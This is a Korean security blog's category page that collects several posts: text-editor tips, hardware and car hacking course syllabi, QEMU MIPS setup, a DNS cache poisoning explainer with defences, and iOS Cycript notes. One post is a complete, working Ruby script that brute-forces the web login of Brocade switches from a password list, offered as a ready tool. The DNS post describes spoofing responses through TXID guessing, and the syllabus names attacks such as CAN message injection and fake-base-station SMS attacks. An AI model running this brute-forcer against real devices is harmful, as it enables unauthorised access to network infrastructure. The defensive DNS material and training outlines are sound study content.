notepad++ 에서 빈줄제거 및 공백조절(제거)방법 (tistory.com)

 

notepad++ 에서 빈줄제거 및 공백조절(제거)방법

간단한 방법으로 Notepad++ 에서 빈줄과 공백을 제거 할 수 있다.빈줄 제거를 시작으로 설명을 시작한다.1. 먼저 마우스 드래그나 Shift+화살표, CTRL+A 키로 특정 영역을 선택한다.그림에서는 'CTRL+A'

withserver.tistory.com

 

간단한 방법으로 Notepad++ 에서 빈줄과 공백을 제거 할 수 있다.

빈줄 제거를 시작으로 설명을 시작한다.

1. 먼저 마우스 드래그나 Shift+화살표, CTRL+A 키로 특정 영역을 선택한다.

그림에서는 'CTRL+A' 키로 전체 영역을 선택했다. (붉은 사각형부분은 일부러 삽입한 공백)

 

 

2. 'CTRL+H' 키를 눌러 바꾸기 창은 연다. (메뉴의 찾기 - 바꾸기 )

찾을단어 부분은 ^\r\n 을 입력, 바꿀단어부분은 아무것도 입력 하지않고, 찾기방식을 '정규표현식' 으로 체크 후 '모두바꾸기' 버튼을 클릭한다.

 

3. 12회의 찾아서 바꾸기 작업을 수행이 잘 끝났다는 메세지

 

 

4. 빈줄제거작업이 완료 된 결과

 

 

 

5. 이번에는 공백을 적당히 조절하는 방법인데, 공백 두개를 찾아서 한개로 바꾸는 작업이다.

'찾을단에' 부분에는 공백 두개를 입력하고, '바꿀단어; 부분에는 공백을 한개 입력한다.

 

 

 

6. 공백두개 -> 공백한개로 변환한 결과이다.

 

 

 

7. 공백두개 -> 공백한개로의 변환작업을 5회 반복한 결과.

 

 

찾아서 바꾸는 편집기의 기능을 활용하여 큰 문서작업을 손쉽게 하는 요령중의 하나인데, 다른 편집기나 툴들을 이용하는 방법도 많이 있으니 취향에 맞게 쓰면 되겠다.

공백의 길이가 길거나 빈줄이 여러개 이상 연속된다면 'CTRL+A' 'CTRL+H' 키를 여러번 눌러야되는데, 이때는 찾을 문자열에 \r\n\r\nr\r\n 이나 공백세개이상을 입력하는 방식으로 반복횟수를 늘릴 수 있다.

 

* 참고 : 정규표현식

텍스트를 검색, 치환, 추출할때 사용하는 방식인데 주로 유닉스계열에서 많이 사용하다가 지금은 많이 일반화되어 웬만한 OS나 프로그래밍언어에서는 대부분 지원한다. 

다만 OS, 프로그래밍언어별로 약간씩 차이가 있어 사용상 주의가 필요하다.

위의 예에서 나온 ^ 는 라인의시작을 뜻하는 문자이고, \r\n 은 윈도우계열에서 사용하는 개행문자이다.

빈줄의 경우 화면에는 아무것도 없는것으로 보이지만 실제로는 개행문자(\r\n)가 존재하는것이니 라인 시작부분을 확인하여 개행코드이면 빈줄로 인식하여 삭제하는 방법으로 빈줄삭제가 가능한것이다.

 

* 참고 : 각 OS별 개행코드

윈도우 : \r\n

UNIX : \n

MAC : \r

'경로 및 정보' 카테고리의 다른 글

에스케이 공유기 포트 포워딩 설정하기  (1) 2022.12.24
notepad 문자열 앞뒤 추가  (0) 2022.12.09
그레이해쉬 하드웨어 커리  (0) 2022.11.04
brocade_switch  (0) 2022.10.28
CAN 통신 강의  (0) 2022.10.28
블로그 이미지

wtdsoul

,

  https://grayhash.com/html/Training.html

 

Offensive Security Research Center 그레이해쉬 홈페이지에 오신 것을 환영합니다.

GrayHash는 다음과 같은 해킹/보안 트레이닝 코스를 상시 운영합니다. GrayHash의 강사들은 국내 대기업, KITRI BoB 및 기타 정부기관에서의 강의 경력을 가지고 있으며,강사마다 갖고 있는 전문지식을

grayhash.com

 

1일차 - 기초 펌웨어 개발
    
    • 실습 장비 Grayhash DanbiBoard-BASIC 소개 및 Spec 설명
    • Firmware, Bootloader, OS, Filesystem의 이해
    • CPU 관점에서 본 부팅 과정의 이해
    • 실습 : 펌웨어 개발 환경 구축
    • 펌웨어 코드 작성 이론 설명
    • 실습 : 기본 펌웨어 개발 및 퓨징
    • 펌웨어 코드 분석 및 GPIO의 이해
    • UART를 이용한 DEBUG 메시지 출력
    • 해커의 관점에서 본 UART 프로토콜
    • 실습 : LED 등 주변장치 제어
    • 하드웨어 통신 프로토콜 I2C의 이해
    • 마무리 실습 : Character LCD 제어


    2일차 - 리눅스 시스템 개발

    • 실습 장비 Grayhash DanbiBoard-EDU 소개 및 Spec 설명
    • 부트로더(Bootloader)의 이해
    • 메모리, 메모리 컨트롤러 및 메모리 맵의 이해
    • 해커의 관점에서 본 메모리 맵
    • DDR2 RAM 초기화 방법에 대한 이해    
    • 실습 : RAM 초기화 및 RAM 테스트    
    • U-BOOT의 구조 및 커널 로딩 과정의 이해     
    • 실습 : U-BOOT 포팅 및 퓨징    
    • 부트로더를 이용한 펌웨어 업그레이드    
    • 해커의 관점에서 본 부트로더 (부트로더 보안체계 우회 사례들)
    • 실습 : Linux Kernel 컴파일 및 퓨징    
    • Root File System의 이해    
    • 실습 : Root File System 빌드 및 퓨징
    • 해커의 관점에서 본 Root File System
    • 리눅스 부팅 과정 및 파티션 구조의 이해
    • 마무리 실습 : 리눅스 시스템 부팅


    3일차 - 개발보드의 활용

    • 실습 장비 Grayhash DanbiBoard-PRO 소개 및 Spec 설명
    • 디바이스 드라이버의 이해        
    • 실습 : 디바이스 드라이버를 통한 주변장치 제어
    • 하드웨어 통신 프로토콜 SPI의 이해
    • 해커의 관점에서 본 SPI 프로토콜
    • TFT-LCD 디스플레이 연결    
    • Frame Buffer의 이해
    • 실습 : Frame Buffer 장치를 이용한 TFT-LCD 제어
    • 실습 : mp3 음원 및 동영상 재생
    • USB 시스템 작동 구조의 이해
    • 실습 : USB 키보드 및 랜카드 연결
    • Ethernet 시스템 작동 구조의 이해
    • 실습 : 네트워크 연결
    • 마무리 실습 : 게임 에뮬레이터 실행하기

------------------------------------------------------------

1일차 - AVR Programming
    

    [AVR 프로그래밍]
    • MCU(Micro Controller Unit)의 이해
    • Atmega128A MCU 소개
    • 개발 도구(Atmel studio 6.2) 설치
    • ISP(In-System Programming)의 이해
    • 범용/특수 입출력 포트의 이해
    • LED, 모터, 스피커 제어 실습
    • 7-Segment 및 Dot Matrix 제어 실습
    • 온도 센서 제어를 통한 ADC의 이해
    • 디지털 온도계 제작 실습
    • UART 통신 실습
    • 트랜지스터를 이용한 증폭 작용 실습
    • 스위치를 이용한 입력 핀 사용 실습
    • 인터럽트와 타이머의 이해
    • PWM(Pulse Width Modulation)의 이해
    • IrDA(적외선)을 이용한 무선 통신 실습
    • AVR Firmware 추출하기
    • AVR과 Arduino의 관계 이해
    • Arduino 프로그래밍 실습


    2일차 - UART&JTAG Hacking

    [UART Hacking]
    • 하드웨어 레벨 프로토콜의 이해 : UART, I2C(2-wire, TWI), SPI
    • UART Programming의 이해
    • Logic Analyzer를 이용한 UART 프로토콜 분석 실습
    • UART Pin 찾기 실습
    • 유무선 공유기 UART 연결 실습
    • Baudrate 분석 실습
    • 스마트폰(갤럭시S) UART 연결 실습
    • UART 쉘을 이용한 바이너리 추출 실습
    • 각종 기기들에 대한 UART 연결 시연 (스마트 TV, 홈 네트워크 시스템, CCTV, NAS 장비)
    • UART 해킹 case by case

    [JTAG Hacking]
    • JTAG의 개념 및 작동 원리 이해하기 (TDI, TDO, TCK, TMS, TRST)
    • TAPC(Test Access Port Controller) 상태도 이해하기
    • JTAG 실전 활용 예제
    • 상용 JTAG 툴 소개 : Riffbox Jtag, H-JTAG, AD-JTAG
    • JTAG Pin Scanning : Jtagulator, JTAGenum
    • JTAG을 이용한 펌웨어 획득 실습
    • JTAG을 이용한 동적 디버깅 실습


    3일차 - Flash Memory 덤프 실습

    • Flash Memory 기초
    • Winbond W25Q16BV Flash Memory의 이해
    • 마이크로 프로세서 GPIO Handling 실습
    • SPI 프로토콜의 이해
    • Flash Memory Dumper 개발 실습
    • Desoldering 실습
    • Winbond W25Q16BV Serial Flash Memory Dump 실습
    • 8-pin Test-clip 활용 실습
    • Dump된 Firmware Image 분석 및 바이너리 파일 추출 실습


[Hardware]
    • AVR 개발 키트(jmod-128-1)
    • UART, JTAG 장비
    • 점퍼 케이블, 빵판 및 각종 센서들

------------------------------------------------------------


    1일차 - CANbus Hacking
    
    • CAN(Controller Area Network) 통신의 이해
    • ECU(Electronic control unit)의 이해
    • CANbus lines 연결하기 실습
    • CANbus Hacking Tool 개발 실습
    • CAN Message Sniffing 실습
    • CAN Message 송신(Injection) 실습
    • CAN Message 포맷의 구조 이해
    • CANbus Controller와 Transceiver의 이해
    • Car Network 종류들의 이해
    • 차량진단 표준의 이해와 해킹 관점에서의 활용
    • 실제 차량의 OBD-II 포트와 연결하기 실습
        
    • 주요 자동차 해킹 사례 및 취약점 발생 원리 분석
        • 2010 - Experimental Security Analysis of a Modern Automobile
        • 2011 - Comprehensive Experimental Analyses of Automotive Attack Surfaces
        • 2013 - Adventures in Automotive Networks and Control Units
        • 2014 - A Survey of Remote Automotive Attack Surfaces
        • 2015 - Remote Exploitation of an Unaltered Passenger Vehicle
        • 2015 - How to Hack a Tesla Model S
        • 2015 - Broadcasting Your Attack: Security Testing DAB Radio In Cars
        • 2015 - Drive it like you Hacked it: New Attacks and Tools to Wireles
        • 2016 - Advanced CAN injection technique for vehicle networks
        • 2016 - Car Hacking Research: Remote Attack Tesla Motors
        • 2017 - The CIA may be hacking cars

    • 자동차 Attack Vector의 이해
        • Hardware Vulnerabilities Analysis (UART/JTAG/OBD-II)
        • Audio/Video/Navigation Device Vulnerabilities Analysis
        • Smart Device Vulnerabilities Analysis
        • Telematics Device Vulnerabilities Analysis
        • ETC : Web Browser, Smartphone APP, Radio Data System, Cloud Server
    

    
    2일차 - Infotainment System Hacking

    • Bluetooth based Car Hacking
        • Bluetooth 기초 (master/slave, piconet, bluetooth stack)
        • Bluetooth module 사용 실습
        • Bluetooth Packet 송수신 실습
        • Bluetooth Packet sniffing 실습
        • Bluetooth Profile의 이해
        • Bluetooth Profile Scanning 실습
        • 차량용 디바이스의 주요 Profiles
        • 차량의 주요 Bluetooth 관련 기능들
        • 차량의 Bluetooth Packet Sniffing 및 분석
        • 차량 Bluetooth의 주요 Attack Vectors
        • Bluetooth Packet 변조 실습

    • USB based Car Hacking
        • 차량 USB의 주요 Attack Vectors
        • USB(Universal Serial Bus) 기초
        • Beagle USB 480을 이용한 USB Packet Sniffing
        • 주요 USB Packets 분석(Device, Configuration, Interface, Endpoint, String Descriptor)
        • USB Packet Fuzzing 환경 구축
        • OrangePi를 이용한 USB fuzzer 개발
        • Linux USB Gadget의 이해
        • USB Stack Fuzzing
        • USB based OS File system Fuzzing
        • USB based Multi-media file Fuzzing
    
    
    
    3일차 - Telematics System Hacking

    • TCU(Telematics Control Unit)의 이해
    • SMS PDU 포맷의 이해
    • PDU 포맷 분석 실습
    • PDU 데이터를 이용한 SMS 전송 실습
    • Modem device를 이용한 SMS 전송 실습
    • 보내는 SMS와 받은 SMS의 PDU 필드 값 비교
    • MMS(Multimedia Messaging Service) 전송하기
    • PDU-Header 및 TP-UDHI 필드의 이해
    • IEI(Identity Element Identifie)와 Application Port의 이해
    • SMS Hacking 사례 분석
    • SMS Fuzzing 환경 구축
    • Android telephony stack의 이해
    • SMS 수신 시의 데이터 흐름 경로 분석 및 Fuzzing 지점 선정
    • SMS Fuzzer 개발 방법의 이해
    • Fake BTS를 이용한 SMS attack (USRP + OpenBTS)
    

'경로 및 정보' 카테고리의 다른 글

notepad 문자열 앞뒤 추가  (0) 2022.12.09
notepad++ 빈줄제거 및 공백조절  (0) 2022.12.09
brocade_switch  (0) 2022.10.28
CAN 통신 강의  (0) 2022.10.28
[Windows - Tip] 무료 대용량 텍스트 파일 읽기 프로그램  (0) 2022.10.27
블로그 이미지

wtdsoul

,

brocade_switch

경로 및 정보 2022. 10. 28. 10:39
45 lines (42 sloc)  1.18 KB
 
 
  #!/usr/bin/ruby
  # Brocade Switch Brute Forcer
  # @ndrix
  require 'net/http'
  require 'base64'
   
  def usage
  puts "#{$0} <url> <login> passwords.txt"
  puts "<login> is usually root, admin, user or factory"
  exit
  end
   
  usage if ARGV.length < 3
  uri = URI.parse(ARGV.first)
  rand = 0
   
  # get the arguments
  http = Net::HTTP.new(uri.host, uri.port)
  req = Net::HTTP::Get.new("/Authenticate.html?page=/switchExplorer.html")
  req["User-Agent"] = "WebTools"
  req["Cache-Control"] = "no-cache"
  req["Connection"] = "keep-alive"
  file = File.open(ARGV[2])
  puts " + going to try #{file.readlines.size} passwords"
  counter = 0
  File.open(ARGV[2]).each do |password|
  counter += 1
  password.chomp!
  auth = "#{ARGV[1]}:#{password}:#{3000000000+rand(999999999)}"
  req["Authorization"] = "Custom_Basic #{Base64.encode64(auth).chomp}"
  resp = http.request(req)
  if resp.code.eql?("200")
  response_lines = resp.body.split("\n")
  if response_lines[9].eql?("authenticated = no")
  print "."; $stdout.flush
  else
  puts "\nFound it! : #{password}"
  exit
  end
  else
  puts " ! something went wrong, we got a http code #{resp.code}"
  end
  print " #{counter}\n" if (counter % 50).eql?(0)
  end
  puts "\n + all done, we didn't find anything."
블로그 이미지

wtdsoul

,

CAN 통신 강의

경로 및 정보 2022. 10. 28. 09:16

https://www.inflearn.com/course/%EC%9E%90%EB%8F%99%EC%B0%A8-%EC%8B%A0%EC%9E%85-can%ED%86%B5%EC%8B%A0#curriculum

 

CAN 통신 - 자동차 신입이 알아야 할 모든 것 - 인프런 | 강의

CAN통신에 대한 '학술적인' 강의가 아니라 '같이 일하게 될' 신입사원에게 알려준다는 생각으로 일을 하는 과정에서 필요한 모든 얘기들을 담았습니다., - 강의 소개 | 인프런...

www.inflearn.com

 

CAN High & CAN Low signal05:00
CAN Tranceiver & CAN Controller10:43
보너스 - 실제 CAN 트랜시버 데이터시트 살펴보기 (TJA1043)20:10
통신속도 : BaudRate23:13
보너스 - BaudRate 관련 : MCU 데이터 시트 살펴보기03:12
메세지의 ID15:24
메세지의 우선순위 & Bus Load16:23
메세지 속 '시그널'28:41

CAN 에러 처리 - 1. 개요04:05

CAN 에러 처리 - 2. 에러 감지 및 반응 (Error state)12:44
CAN 에러 처리 - 3. 에러의 종류 및 마무리15:25
CAN 에러 처리 - 4.Aurix MCU 살펴보기02:26
 
CAN FD 소개05:24
CAN DB. 그리고 "CAN DBC 파일" 소개06:12
보너스_CAN DBC 파일 직접 만들어보기05:44
Canoe (시뮬레이션 툴) 소개10:13
 
 
 
 
 
 
 
 
블로그 이미지

wtdsoul

,

 

 - 무료

 - 빠르고 적은 메모리 사용

 - 대용량 텍스트파일 읽기 가능

 - glogg는 다양한 운영체제 지원

 - glogg 다운로드 링크

 

glogg — Download

Download glogg currently runs on Windows and UNIX based systems, including macOS. The MD5 checksums can be checked from the release emails sent to the development list. macOS An installer for the latest version is available for Mac OSX / macOS: glogg-lates

glogg.bonnefon.org

 

 

'경로 및 정보' 카테고리의 다른 글

brocade_switch  (0) 2022.10.28
CAN 통신 강의  (0) 2022.10.28
QEME로 MIPS 구동 환경 셋팅(펌)  (0) 2022.10.23
DNS Cache Poisoning 공격  (0) 2022.10.14
chromium-browser  (0) 2022.10.12
블로그 이미지

wtdsoul

,

https://goseungduk.tistory.com/29

 

QEMU로 MIPS 구동 환경 구성하기

MIPS를 사용할 일이 생겨서 현재 사용하는 Ubuntu 16.04 LTS 에 QEMU로 가상환경을 조성하기로 하였다. 우선 MIPS를 구동할 QEMU부터 설치하자. sudo apt-get install qemu 이렇게 하면 MIPS 외에도 다른 하드웨어..

goseungduk.tistory.com

MIPS를 사용할 일이 생겨서 현재 사용하는 Ubuntu 16.04 LTS 에 QEMU로 가상환경을 조성하기로 하였다.

우선 MIPS를 구동할 QEMU부터 설치하자.

sudo apt-get install qemu

이렇게 하면 MIPS 외에도 다른 하드웨어, 플랫폼을 위한 QEMU 구성요소가 설치된다.

(상당히 QEMU에서 지원하는 부분이 많다)


이제 QEMU를 설치했으니 구동시킬 커널과 이미지를 받아보자

커널

wget https://people.debian.org/~aurel32/qemu/mipsel/vmlinux-3.2.0-4-4kc-malta

이미지

wget https://people.debian.org/~aurel32/qemu/mipsel/debian_wheezy_mipsel_standard.qcow2


여기서 이제 QEMU 버전 문제 때문에 일부러 커널을 구버전으로 받아서 했다. 최신버전을 원하는 사람들은 여기를 찾아보라.

https://stackoverflow.com/questions/58181344/how-to-use-netdev-user-hostfwd-option-in-qemu/58183222#58183222

그리고 mips와 mipsel의 차이는 간단히말하면 mips에서 지원하지않던 명령어들(move 같은 것?)을 mipsel에서는 지원한다는 것이다. 크게 다르진 않다고 한다.


이제 구동시켜보자!!!

qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mipsel_standard.qcow2 -append "root=/dev/sda1" -nographic -redir tcp:3131::22

 

qemu-system-i386 debian_squeeze_i386_standard.qcow2 -nographic -netdev user,id=root,hostfwd=tcp::32323-:22
i386도 가능하다

 

-M malta -kernel 뒤에는 받은 커널 이름과 버전을 인자로 주면 되고, -hda 뒤에는 debian 이미지 이름을 넣어주면 된다. -redir은 위에말대로 옛날 버전에서만 된다고 하니 유의하도록!

그러면 위와 같이 성공적으로 debian 리눅스가 켜진다.

ID : root / PW : root 로 로그인 하면된다.


apt-get 패키지 구성 유의사항

필자는 apt-get이 안먹혀서 굉장히 당황했다.

오류는 대강 install이나 update할 때 파일을 가져오는 url이 없다는 404 오류였다.. (?)

이 경우, apt-get 으로 받아오는 url(?)을 재설정 해줘야하는 것 같다.

debian 리눅스 상에서 /etc/apt/sources.list 에서 나머지 문장들은 다 주석처리 해버리고 이 문구를 추가하자.

deb http://archive.debian.org/debian/ wheezy main contrib non-free

아래는 필자의 /etc/apt/sources.list 파일

아무튼 이후는 알아서 디버깅을 하던 구동을 하던 마음대로 무한으로 즐기면 된다.

추가

'경로 및 정보' 카테고리의 다른 글

CAN 통신 강의  (0) 2022.10.28
[Windows - Tip] 무료 대용량 텍스트 파일 읽기 프로그램  (0) 2022.10.27
DNS Cache Poisoning 공격  (0) 2022.10.14
chromium-browser  (0) 2022.10.12
Cycript 도구  (0) 2022.10.11
블로그 이미지

wtdsoul

,

DNS Cache Poisoning 공격 : 네이버 블로그 (naver.com)

 

DNS Cache Poisoning 공격

● DNS Cache Poisoning DNS Cache Poisoning 공격은 DNS 통신상의 인증 취약으로 인하여 발...

blog.naver.com

 DNS Cache Poisoning
DNS Cache Poisoning 공격은 DNS 통신상의 인증 취약으로 인하여 발생한다. 공격자가 DNS 응답 패킷을 위조하여 취약 DNS 서버에 전송할 경우, DNS 서버가 해당 응답을 Authoritative DNS 서버로부터 발송된 정상적인 응답으로 받아들인다는데 문제점이 있다. 위조된 응답이 받아들여질 경우, 취약 DNS 서버의 Cache 테이블에 공격자에 의하여 위조된 정보가 저장되게 되며, 이후에는 DNS 서버는 일반 이용자들에게 Cache 테이블에 저장된 위조된 DNS 정보를 제공하게 된다.


● DNS 서버 인증 취약점
DNS 서버는 TXID(Transaction ID)와 Source Port 를 이용하여 DNS 패킷을 인증하는데, TXID 와 Source Port 추측이 가능하다는데 문제점이 있다. 특히, DNS Source Port 의 경우 질의 시 일정한 번호로 고정되게 되어 추측이 용이하다.

취약한 Recursive DNS 서버에서의 질의 패킷에 대한 Source Port 확인 예(일정한 번호로 고정)

TXID 또한 변화 범위가 넓지 않아, 공격자가 TXID 번호에 대한 무작위 대입 또는 순차 대입 공격 등을 통하여, 위조 응답 패킷이 인증이 되도록 할 수 있다.

DNS 패킷의 TXID 필드 Length 예

위와 같이 TXID 필드는 16Bit 이므로, 한 번의 무작위 대입 공격으로는 1/65536 확률을 가지게 된다. 그러나, 단시간 내에 무작위로 대입된 대량의 패킷을 발송하는 방식으로 공격 성공 확률을 크게 높일 수 있다.

TXID 번호에 대한 무작위 대입 또는 순차 대입 공격



● DNS Cache Poisoning 공격 분석
DNS 인증 취약점 공격이 성공하여 위조된 DNS 패킷이 취약한 DNS 서버에서 Accept 될 경우, 공격자가 의도한 특정 도메인에 대한 악성 IP 주소 값이 취약한 DNS의 Cache 테이블에 저장되게 되며, 이후에는 해당 취약 DNS 서버는 DNS 질의를 하는 모든 이용자들에게 변조된 IP 주소로 응답하게 된다. 정상적인 DNS 요청 및 서비스 과정과 공격자에 의한 공격 과정을 비교하여 살펴보면 다음과 같다.

▶ 정상적인 DNS 요청 과정

정상적인 DNS 요청 절차 예
 

인터넷 사용자가 DNS 도메인 서비스를 정상적으로 받을 경우의 과정은 위의 그림과 같다. 사용자 PC 가 Recursive DNS 서버에 특정 도메인네임에 대한 주소 요청을 하게 되면, Recursive DNS 서버는 해당 도메인을 가지고 있는 Authoritative DNS 서버로 찾아가서, 해당 도메인에 대한 주소를 응답받아, 최초 질의한 사용자 PC 에 해당 주소를 알려준다.

▶ DNS 응답 조작 통한 Cache Poisoning 공격 과정 예
정상적인 응답 과정과는 다르게, 공격자가 DNS 응답 패킷을 임의로 제작하여, DNS 서버에 발송하여 DNS Cache 테이블에 공격자가 원하는 정보가 입력되도록 한다. 이 공격을 성공하기 위하여는 우선 DNS 인증 취약점 공격이 성공하여야 한다.

DNS Cache Poisoning 공격 예

① 공격자는 AAA 도메인을 공격 대상 DNS 서버에 요청한다.
② Authoritative DNS 서버로부터 응답 패킷이 온 것처럼 소스 IP 를 Auth DNS IP 로 스푸핑하여
위조된 응답 패킷을 공격 대상 DNS 서버에 보낸다. 공격자는 위조된 패킷이 실제 정상적인 Auth DNS 응답보다 먼저 수신 되도록 빠른 속도로 발송한다.
③ 공격 대상 DNS 서버는 위조된 응답 패킷을 받아들여, 위조된 주소를 Cache에 저장한다. 위조된 응답 패킷을 받아들이기 위해서는 우선 DNS 인증 취약점 공격이 성공하여야 한다.
④ 공격 대상 DNS 서버를 사용하는 일반 사용자가 AAA 에 대한 DNS 질의를 할 경우 위조된 주소로 응답받게 된다.


● DNS Cache Poisoning 모의 공격 과정
▶ DNS 인증 취약점 공격
① 공격자는 공격자가 구성한 Authoritative DNS 서버를 활용, 공격자 도메인으로 쿼리 패킷을 발송 및 분석하는 방법 등을 통하여, 취약 DNS 가 질의 시 사용하는 Source 포트를 파악한다.
② 취약 DNS 서버에 Poisoning 을 원하는 도메인의 다수 하위 도메인으로 질의를 발생시킨 후, TXID 필드 값을 순차적으로 증가시켜가며 빠른 속도로 위조된 응답 패킷을 발송한다. 위조 패킷 발송 시 UDP Destination 포트는 취약 DNS 서버가 사용하는 것으로 확인된 Source 포트 번호로 설정한다. 일단 Authoritative DNS 서버로부터 정상적인 응답을 받을 경우, DNS Cache 에 정상적인 도메인 주소 정보가 저장되게 되어, 이후에는 질의가 발생하지 않게 되며, 위조된 응답 패킷을 수신하지 않아 공격이 불가능해진다. 따라서, 새로운 하위 도메인으로 주기적으로 질의를 한다.

공격을 위한 위조된 응답 패킷 예 (짧은 시간 내에 TXID를 순차적으로 변경해 가며 응답 패킷 발송)

③ 취약 DNS 는 공격자가 발송한 대량의 위조된 패킷 중 TXID 가 일치하는 패킷이 수신되면 해당 응답을 정상적인 패킷으로 받아들인다.

▶ DNS Cache Poisoning을 통한 특정 도메인에 대한 IP 주소 위조
DNS 인증 취약점 공격이 성공하게 되면, 취약 DNS 서버는 위조된 DNS 응답 패킷을 받아들여 DNS Payload 에 있는 위조된 정보를 DNS Cache 테이블에 저장한다. www.pr[생략]ng.net 도메인을 대상으로 실제 공격하는 과정과 결과를 살펴보면 다음과 같다.

DNS Cache Poisoning 공격 과정

① 취약 DNS 서버에 pr[생략]ng.net 도메인에 대한 위조된 응답 패킷을 발송한다. (Cache Poisoning을 하고자 하는 도메인인 www.pr[생략]ng.net 와 Resolving IP 199.199.199.199 는 Additional RR 필드 부분에 삽입)

위조된 DNS 응답 패킷 내용 예

② 공격이 성공한 후, 취약 DNS 서버를 사용하는 사용자가 www.pr[생략]ng.net 도메인에 대한 질의를 할 경우, 위조된 199.199.199.199 로 응답받게 된다.

공격 성공 전 - 10.50.100.6 으로 응답
공격 성공 후 - 변조된 199.199.199.199 으로 응답



● 대응 방안
▶ 사전 예방 방안 : 캐시/리졸빙 DNS 서버로 사용되는 시스템을 운영 중이라면, 해당 보안 취약점 공격에 대비하기 위하여 각 벤더사의 DNS 를 최신 버전으로 업그레이드한다.

취약점 점검 방법 : 점검하고자 하는 도메인이 "aaa.bbb.ccc.ddd" 인 경우
$ dig @aaa.bbb.ccc.ddd +short porttest.dns-oarc.net TXT
취약점이 존재하는 경우
z.y.x.w.v.u.t.s.r.q.p.o.n.m.l.k.j.i.h.g.f.e.d.c.b.a.pt.dns-oarc.net. "aaa.bbb.ccc.ddd is POOR: 26 queries in 4.0 seconds from 1 ports with std dev 0.00"
DNS가 취약점에 노출되지 않은 경우
z.y.x.w.v.u.t.s.r.q.p.o.n.m.l.k.j.i.h.g.f.e.d.c.b.a.pt.dns-oarc.net. "aaa.bbb.ccc.ddd is GOOD: 26 queries in 2.0 seconds from 26 ports with std dev 17685.51"


▶ 신뢰할 수 있는 호스트에 대해서만 recursive query 서비스가 가능하도록 설정한다. recursive query를 제한하더라도, DNS 가 패치가 안되어 있을 경우는, 내부의 호스트를 이용한 공격에는 노출되게 되므로 주의해야 한다.
- 신뢰된 호스트에서만 Recursion 서비스를 제공하는 방법 (BIND 8.2.1와 이후 버전)

① 신뢰 네트워크 대역에 대한 ACL 설정
acl internal { 192.168.1.0/24; };
② internal 로 정의된 대역으로부터 발생하는 요청만 받아들이도록 설정
options {
...
allow-recursion { internal; };
...
};

- Bind9 에서는 "view" 설정을 통하여 IP 대역 별로 Recursion 서비스 여부를 조정할 수 있다.

Recursion 기능을 활성화
view "internalview" {
match-clients { internal; };
recursion yes;
};
Recursion 기능을 비활성화
view "externalview" {
match-clients { any; };
recursion no;
};



● 공격 발생 시의 탐지 방안
DNS 인증 취약점을 공격하기 위해서는, 공격자는 Authoritative DNS IP 로 가장하여 위조된 DNS 응답 패킷을 발송하여야 한다. TXID 필드는 16bit 로써 임의의 값으로 저장된 하나의 응답 패킷을 발송할 경우, 1/65536의 성공 확률을 가지게 된다. 따라서, 공격자는 성공 확률을 높이기 위하여 TXID 를 순차적으로 증가 또는, 무작위로 대입된 응답 패킷들을 대량으로 발생시키는 방식으로 공격을 수행할 소지가 매우 높다. Authoritative DNS 서버로부터 정상적인 응답 패킷이 도착하기 전에, 공격을 성공시켜야 하므로, 한 번의 질의 시 공격을 위한 짧은 시간이 주어진다. 따라서, 공격자는 주기적으로 Poisoning 을 원하는 도메인에 대한 임의의 서브 도메인 이름으로 재질의를 하며 공격을 수행하게 된다. 또한, 위조된 DNS 응답 패킷의 Additional 필드(또는 추가 answer 필드)에는 Poisoning 을 원하는 도메인 정보와 주소가 삽입되게 된다.
공격이 발생하게 되면, 공격 대상 Recursive DNS 서버에서는 단일 IP 로부터 응답 패킷들이 대량으로 유입되는 현상이 관찰될 것으로 보인다. 또한, 해당 응답 패킷의 "Question" 및 "Answer" DNS 필드에는 최하위 서브 도메인명이 랜덤 형식인 비정상적인 형태의 도메인이 포함되어 있을 가능성이 높다.
Recursive DNS 서버 운영자는 단일 IP 에서 매우 짧은 시간 내에 DNS 응답 패킷이 대량으로 유입되는 로그 및 현상이 관찰될 경우, 유입되는 DNS 응답 패킷들의 "Question" 및 "Answer" DNS 필드의 페이로드를 확인하여, 최하위 서브 도메인명이 랜덤 형식이거나 계속적으로 변경되는 비정상적인 형태의 실제로는 존재하지 않는 도메인이 포함되어 있는지를 확인해 보도록 한다. 짧은 시간 내에 이러한 유형의
패킷이 다수 확인될 경우 공격 발생을 의심해볼 필요가 있다.

공격 패킷의 "Question" 및 "Answer" 필드 내에 포함되어 있는 비정상적인 도메인 예

'경로 및 정보' 카테고리의 다른 글

[Windows - Tip] 무료 대용량 텍스트 파일 읽기 프로그램  (0) 2022.10.27
QEME로 MIPS 구동 환경 셋팅(펌)  (0) 2022.10.23
chromium-browser  (0) 2022.10.12
Cycript 도구  (0) 2022.10.11
Docker 2375/2376  (0) 2022.10.07
블로그 이미지

wtdsoul

,

chromium-browser

경로 및 정보 2022. 10. 12. 13:28

https://commondatastorage.googleapis.com/chromium-browser-asan/index.html

 

https://commondatastorage.googleapis.com/chromium-browser-asan/index.html

 

commondatastorage.googleapis.com

 

Chrome Build File

'경로 및 정보' 카테고리의 다른 글

QEME로 MIPS 구동 환경 셋팅(펌)  (0) 2022.10.23
DNS Cache Poisoning 공격  (0) 2022.10.14
Cycript 도구  (0) 2022.10.11
Docker 2375/2376  (0) 2022.10.07
jenkins RCE  (0) 2022.10.07
블로그 이미지

wtdsoul

,

Cycript 도구

경로 및 정보 2022. 10. 11. 23:55

https://iphonedevwiki.net/index.php/Cycript_Tricks

 

Cycript Tricks - iPhone Development Wiki

Getting objects Objective-C objects using choose() The function choose(), introduced in version 0.9.502[citation needed] and documented here, allows us to get an array of existing objects of a certain class. Objective-C objects from addresses Use #0xdeadba

iphonedevwiki.net

https://bachs.tistory.com/entry/iOS-Hooking3Cycript

 

iOS Hooking#3(Cycript)

1. Cycript Cycript는 iOS에서 실행되고 있는 애플리케이션을 동적으로 수정하고 분석을 할 수 있게 해주는 SDK이다. 문법은 기본적으로 Objective-C / JavaScript를 혼합하여 사용 가능하다. 2. Cycript Hooking..

bachs.tistory.com

https://hackcatml.tistory.com/52

 

Cycript(iOS 12.4)

cyrun을 이용하면 ios 12에서도 cycript 사용이 가능. - Cycript 및 Cyrun 설치 및 구동 wget http://apt.saurik.com/debs/cycript_0.9.594_iphoneos-arm.deb wget http://www.tateu.net/repo/files/net.tateu.cyc..

hackcatml.tistory.com

 

 

1. Cycript

Cycript는 iOS에서 실행되고 있는 애플리케이션을 동적으로 수정하고 분석을 할 수 있게 해주는 SDK이다.문법은 기본적으로 Objective-C / JavaScript를 혼합하여 사용 가능하다. 

2. Cycript Hooking

 

2-1) view계층 확인하기

ex) UIApp.keyWindow.recursiveDescription()

 

